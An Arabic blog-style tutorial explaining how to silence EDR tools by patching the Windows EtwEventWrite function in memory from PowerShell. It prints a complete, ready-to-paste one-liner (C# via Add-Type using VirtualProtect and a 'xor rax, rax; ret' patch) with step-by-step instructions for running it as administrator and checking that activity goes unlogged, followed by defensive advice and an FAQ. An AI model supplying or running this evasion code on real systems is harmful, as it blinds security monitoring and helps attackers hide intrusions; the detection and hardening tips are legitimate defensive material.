نظام EDR لديك صامت؟ هذا السطر الواحد من PowerShell يسمح للمخترقين بالمرور تحت أنفه دون إنذار!
📱💻 في عالم الأمن السيبراني اليوم، تُعتبر أنظمة الكشف والاستجابة لنقاط النهاية (EDR) خط الدفاع الأول ضد التهديدات المتقدمة. ولكن، ماذا لو كان هناك سطر واحد فقط من PowerShell كفيل بجعل نظام EDR الخاص بك "أصم وأعمى" تجاه الأنشطة الخبيثة التي تحدث أمامه مباشرة؟ هذا المقال سيكشف عن إحدى هذه الثغرات المحتملة، موضحاً كيف يمكن للمهاجمين تجاوز نظام EDR الخاص بك بسهولة، مع التركيز على أهمية فهم هذه التقنيات لتعزيز دفاعاتك.
🛠️ الأدوات أو المتطلبات
لإعادة إنتاج هذه التقنية وفهمها، ستحتاج إلى ما يلي:
- نظام تشغيل Windows: يفضل Windows 10 أو 11 حيث تنتشر أنظمة EDR بشكل كبير.
- PowerShell: مثبتًا افتراضيًا على أنظمة Windows الحديثة (الإصدار 5.1 أو أعلى).
- امتيازات المسؤول (Administrator Privileges): لتشغيل الأوامر التي تتطلب الوصول إلى الذاكرة.
- نظام EDR (اختياري، ولكن موصى به للاختبار): لتتمكن من ملاحظة "صمت" النظام بعد تنفيذ الهجوم.
- فهم أساسي لـ PowerShell و C#: للمساعدة في فهم آلية العمل.
🚀 الشرح والخطوات العملية
تعتمد هذه التقنية على تعطيل "Event Tracing for Windows" (ETW) داخل العملية الحالية لـ PowerShell. تعتمد العديد من أنظمة EDR على ETW لجمع بيانات تتبع الأحداث من نواة Windows وتسجيلها. من خلال تعطيل هذه الآلية، يمكن للمهاجم إخفاء أنشطته عن EDR الذي يعتمد عليها.
شرح التقنية:
نستخدم Add-Type في PowerShell لتحميل كود C# يمكنه التلاعب بالذاكرة. يقوم كود C# هذا بتحديد موقع الدالة EtwEventWrite في مكتبة ntdll.dll (وهي دالة مسؤولة عن كتابة أحداث ETW). بعد ذلك، يقوم بتغيير حماية الذاكرة لهذه الدالة باستخدام VirtualProtect ثم يقوم بتعديلها (patching) بحيث تصبح مجرد xor rax, rax; ret (إفراغ سجل RAX والعودة)، مما يعني أن الدالة لن تقوم بأي شيء فعليًا سوى إرجاع القيمة صفر (نجاح) فور استدعائها، وبالتالي منع كتابة أي أحداث ETW. 💻
الخطوات العملية:
-
افتح PowerShell بامتيازات المسؤول:
- انقر بزر الماوس الأيمن على قائمة "ابدأ" (Start).
- اختر "Windows PowerShell (Admin)" أو "Terminal (Admin)".
-
انسخ والصق السطر الواحد من الكود التالي: هذا هو السطر الذي يقوم بالعملية بأكملها. تأكد من نسخه كاملاً:
powershell Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class EtwBypass { [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static void Bypass() { IntPtr ntdll = GetModuleHandle("ntdll.dll"); IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite"); byte[] patch = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret uint oldProtect; VirtualProtect(etwEventWrite, (UIntPtr)patch.Length, 0x40, out oldProtect); Marshal.Copy(patch, 0, etwEventWrite, patch.Length); VirtualProtect(etwEventWrite, (UIntPtr)patch.Length, oldProtect, out oldProtect); } } "@ -Language CSharp; [EtwBypass]::Bypass() -
اضغط Enter لتنفيذ الكود: لن يكون هناك أي خرج مرئي عند التنفيذ الناجح، ولكن بمجرد تشغيله، ستكون دالة
EtwEventWriteداخل عملية PowerShell هذه معطلة. -
قم بإجراء بعض الأنشطة لاختبار "الصمت":
- بعد تنفيذ السطر أعلاه، قم بتشغيل بعض الأوامر التي عادةً ما تلتقطها أنظمة EDR، مثل:
whoamiipconfig /allInvoke-WebRequest -Uri http://example.com- محاولة تنفيذ ملف قابل للتنفيذ بسيط.
- تحقق من لوحة تحكم EDR الخاصة بك. من المحتمل أن تجد أن هذه الأنشطة (التي تمت بعد تطبيق الباتش) لم يتم تسجيلها أو تنبيهها بواسطة EDR، في حين أن الأنشطة التي تمت قبل تطبيق الباتش كانت مرئية.
- بعد تنفيذ السطر أعلاه، قم بتشغيل بعض الأوامر التي عادةً ما تلتقطها أنظمة EDR، مثل:
ملاحظة هامة: هذا التغيير يؤثر فقط على عملية PowerShell التي نفذت الكود. أي عمليات أخرى أو نواة النظام ستظل تعمل بشكل طبيعي. الغرض هنا هو إخفاء الأنشطة التي يقوم بها المهاجم من خلال عملية PowerShell هذه.
💡 نصائح إضافية (Pro Tips)
لتجنب الوقوع ضحية لمثل هذه التقنيات، إليك بعض النصائح الاحترافية:
- المراقبة السلوكية (Behavioral Monitoring): لا تعتمد على توقيعات (Signatures) فقط. يجب أن يكون نظام EDR قادرًا على اكتشاف السلوكيات المشبوهة مثل:
- محاولة تغيير حماية الذاكرة لدوال حساسة في
ntdll.dll(مثلVirtualProtectعلىEtwEventWrite). - حقن الكود في الذاكرة (Memory Injection) أو تعديل الدوال في وقت التشغيل.
- محاولة تغيير حماية الذاكرة لدوال حساسة في
- تسجيل PowerShell المتقدم (Advanced PowerShell Logging):
- قم بتمكين "Script Block Logging" و "Module Logging" في PowerShell. هذا سيسجل الكود الكامل لأي Script Block يتم تنفيذه، مما قد يلتقط محتوى
Add-Typeحتى لو تم تجاوز ETW لاحقًا. - راقب استخدام
Add-Type، خاصة إذا كان يتم استخدامه لتحميل أنواع C# مخصصة تحتوي علىDllImportلدوال حساسة مثلVirtualProtectأوGetProcAddress.
- قم بتمكين "Script Block Logging" و "Module Logging" في PowerShell. هذا سيسجل الكود الكامل لأي Script Block يتم تنفيذه، مما قد يلتقط محتوى
- وضع لغة PowerShell المقيدة (PowerShell Constrained Language Mode): قم بتطبيقه على الأنظمة غير الخاصة بالمسؤولين. هذا يحد بشكل كبير من قدرة PowerShell على الوصول إلى وظائف النظام الحساسة، بما في ذلك
Add-Typeلإنشاء أنواع مخصصة. - المراقبة الشاملة (Holistic Monitoring): لا تعتمد على مصدر واحد للبيانات. استخدم مزيجًا من سجلات EDR، سجلات Windows، سجلات الشبكة، وغيرها لتكوين صورة كاملة لما يحدث.
- التحقق من سلامة الذاكرة (Memory Integrity Checks): يمكن لأنظمة EDR الأكثر تقدمًا فحص ذاكرة العمليات بحثًا عن التغييرات غير المتوقعة في الدالات الحرجة.
- مبدأ الامتيازات الأقل (Principle of Least Privilege): تأكد من أن المستخدمين لا يمتلكون امتيازات المسؤول إلا عند الضرورة القصوى. هذا يحد من قدرة المهاجم على تنفيذ مثل هذه الأوامر.
- الاستكشاف الدائم للتهديدات (Threat Hunting): ابحث بنشاط عن مؤشرات التسوية (IoCs) والسلوكيات الشاذة في بيئتك، ولا تنتظر التنبيهات.
❓ الأسئلة الشائعة (FAQ)
س1: هل هذا التجاوز يعمل ضد جميع أنظمة EDR؟ ج1: لا. بينما تعتمد العديد من أنظمة EDR على ETW لجمع البيانات، فإن الأنظمة الأكثر تطوراً تستخدم طبقات متعددة من الكشف، بما في ذلك التتبع على مستوى النواة (kernel-level hooking)، والمراقبة السلوكية، وتحليل العمليات. قد تظل هذه الأنظمة قادرة على اكتشاف الأنشطة المشبوهة حتى لو تم تجاوز ETW في عملية واحدة.
س2: هل هذه الثغرة أو التقنية جديدة؟ ج2: لا، تقنيات تجاوز ETW و AMSI (Anti-Malware Scan Interface) معروفة في مجتمع الأمن منذ سنوات. المهاجمون يطورون باستمرار طرقًا جديدة لتنفيذها، وهذه النسخة المحددة هي واحدة من الطرق الشائعة والفعالة لإظهار المفهوم.
س3: كيف يمكن لنظام EDR حماية نفسه من مثل هذه الهجمات؟
ج3: يجب على أنظمة EDR المتقدمة:
* الكشف عن محاولات تعديل الذاكرة لدوال النظام الحساسة (مثل EtwEventWrite).
* تحليل سلاسل استدعاء الدوال (call stacks) للكشف عن الأنشطة غير الطبيعية.
* مراقبة العمليات التي تقوم بتحميل وتعديل الكود البرمجي في الذاكرة.
* استخدام أجهزة استشعار متعددة الأوجه لجمع البيانات من مصادر مختلفة (ETW ليس الوحيد).
* تطبيق قواعد اكتشاف سلوكية قوية تركز على النوايا (intent) بدلاً من التوقيعات فقط.
الخاتمة
إن فهم كيفية عمل تقنيات التجاوز هذه أمر بالغ الأهمية لكل من خبراء الأمن والمطورين. بينما تسعى أنظمة EDR لتوفير حماية قوية، فإن المعركة بين المدافعين والمهاجمين مستمرة. من خلال تسليط الضوء على نقاط الضعف هذه، نأمل أن نساعد في دفع الصناعة نحو حلول أمنية أكثر مرونة وتطورًا، مع التأكيد على أن الأمن هو عملية مستمرة تتطلب يقظة وتحديثًا دائمًا للدفاعات. 🔧
0 تعليقات